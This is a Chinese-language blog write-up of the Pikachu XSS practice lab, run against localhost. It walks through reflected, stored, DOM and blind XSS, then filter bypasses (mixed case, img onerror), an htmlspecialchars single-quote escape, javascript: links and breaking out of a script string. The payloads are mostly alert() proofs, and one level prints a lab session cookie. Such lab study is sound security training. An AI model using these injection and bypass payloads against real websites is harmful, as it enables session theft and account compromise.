pikachu xss

1. 反射型XSS(get)

输入<script>alert("test")</script> 发现有长度限制(maxlength), F12 修改对输入框的长度限制,或者直接改url并encode(url为:http://localhost:8080/vul/xss/xss_reflected_get.php?message=<script>alert("test")<%2Fscript>&submit=submit)

再次输入
<script>alert("test")</script>

发现弹框,执行了脚本,注入ok

2. 反射型XSS (post)

这一关是要求先用admin/123456账号登录,然后进入一个页面获取cookie
输入

<script>alert(document.cookie)</script>

直接弹框爆出cookie

ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815

3. 存储型XSS

这个的原理就是注入的payload会保存在后端数据库中,然后前端查询回显时payload被执行

<script>alert("test")</script>

当页面刷新时,就会弹框

4. DOM型XSS

这个是指输入不经过后端,直接被dom吸收成为html一部分,直接就在前段被执行了。
插入

<script>alert("test")</script>

发现不行,查看网页源代码找线索,发现题眼都给我们了,哈哈

<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试:'><img src="#" onmouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <input id="text" name="text" type="text"  value="" />
                <input id="button" type="button" value="click me!" onclick="domxss()" />
                <div id="dom"></div>
            </div>

这里我们的输入要和 <a标签相结合使用
插入

'><img src="#" onmouseover="alert('xss')">

鼠标滑过图片即会弹框
插入

' onclick="alert('xss')">

点击下方的链接,也会弹框了

5 DOM型xss-x

这一题其实和上一题几乎是一样的,只是加入了交互,第一个页面框中出入qwe,就会跳出一个可以点击的链接,同时url中携带了我们输入的内容

http://localhost:8080/vul/xss/xss_dom_x.php?text=qwe

分析源码:发现点击链接,会调用一个函数,函数会解析url,并获得text对应的value即qwe, 并使用在了<a标签中;于是就可以利用这一特性了
源码:

<div id="xssd_main">
                <script>
                    function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);

                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                    //试试:'><img src="#" onmouseover="alert('xss')">
                    //试试:' onclick="alert('xss')">,闭合掉就行
                </script>
                <!--<a href="" onclick=('xss')>-->
                <form method="get">
                <input id="text" name="text" type="text"  value="" />
                <input id="submit" type="submit" value="请说出你的伤心往事"/>
                </form>
                <div id="dom"></div>
            </div>

            <a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

于是:
第一个框插入

'><img src="#" onmouseover="alert('xss')">

点击链接,再滑过图片,成功弹框

6 XSS盲打

XSS盲打主要是指发出的payload对本页面没什么影响,影响的是后台管理或者其他的页面
,注入后本页面是看不到效果的,比如本题需要去后台管理页面查看

直接插入

<script>alert("test")</script>

大名一列也可以注入,这里先不注随便写
根据提示中给出的后台登录页面,用admin账号登录,发现确实弹框,ok

7 xss 过滤

指前端后后端对输入的内容的关键字进行匹配,对敏感关键字不让输入,这题审计前端代码,看样子是后端在过滤
插入

# 1. 大小写绕过 ok
<SCRIPT>alert("jwt")</sCRIpt>

# 2. 双写绕过 本题失败
<scri<script>pt>alert(“jwt”)</scri</script>pt>

# 3. 注释干扰 本题失败
<scri<!--test-->pt>alert(“jwt”)</sc<!--test-->ript>

# 4. image标签注入 ok
<img src=x onerror=alert("jwt")>

8. XSS 之 htmlspecialchars

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数,这个函数默认情况下是 不会编码单引号的

语法:

$value = htmlspecialchars($_GET['value'], ENT_COMPAT); 
# 第2个参数规定了如何处理引号
ENT_COMPAT   # 默认,仅对双引号进行编码
ENT_QUOTES   # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号


预定义的字符是:
& (和号)成为 &amp
" (双引号)成为 &quot
''(单引号)成为 &#039
< (小于)成为 &lt
> (大于)成为 &lt

本题输入'"<>?#'13test试试水
页面显示正常,查看网页源代码

<div class="page-content">

            <div id="xssr_main">
                <p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
                <form method="get">
                    <input class="xssr_in" type="text" name="message" />

                    <input class="xssr_submit" type="submit" name="submit" value="submit" />
                </form>
                <p class='notice'>你的输入已经被记录:</p><a href=''&quot;&lt;&gt;?#'13test'>'&quot;&lt;&gt;?#'13test</a>            </div>

        </div>

发现被转码,除了单引号;那么可以利用这个特性进行注入
插入:

#' onclick=alert('jwt') '

实现弹框

9 XSS 之href输出

这里相对 8 更进了一步,使用了都htmlspecialchars函数,><"'&都被HTML实体化,且用户输入的在href标签里,可以考虑使用javascript协议来执行js代码

插入
javascript:alert('jwt')

生成的源码

<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
                <form method="get">
                    <input class="xssr_in" type="text" name="message" />

                    <input class="xssr_submit" type="submit" name="submit" value="submit" />
                </form>
                <a href='javascript:alert(&#039;jwt&#039;)'> 阁下自己输入的url还请自己点一下吧</a>            </div>

虽然也被转码,但是不影响JavaScript协议的解析,点击后成功弹窗

10 xss 之 js 输出

查看源码

<script>
    $ms='kobe';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

可以通过payload闭合 script标签来执行
插入

法1
'</script><script>alert('jwt')</script>
法2
'; alert(1); //

成功弹窗,本质是闭合script,或者是$ms的单引号

posted @ 2022-10-30 13:13  明月照江江  阅读(38)  评论(0编辑  收藏  举报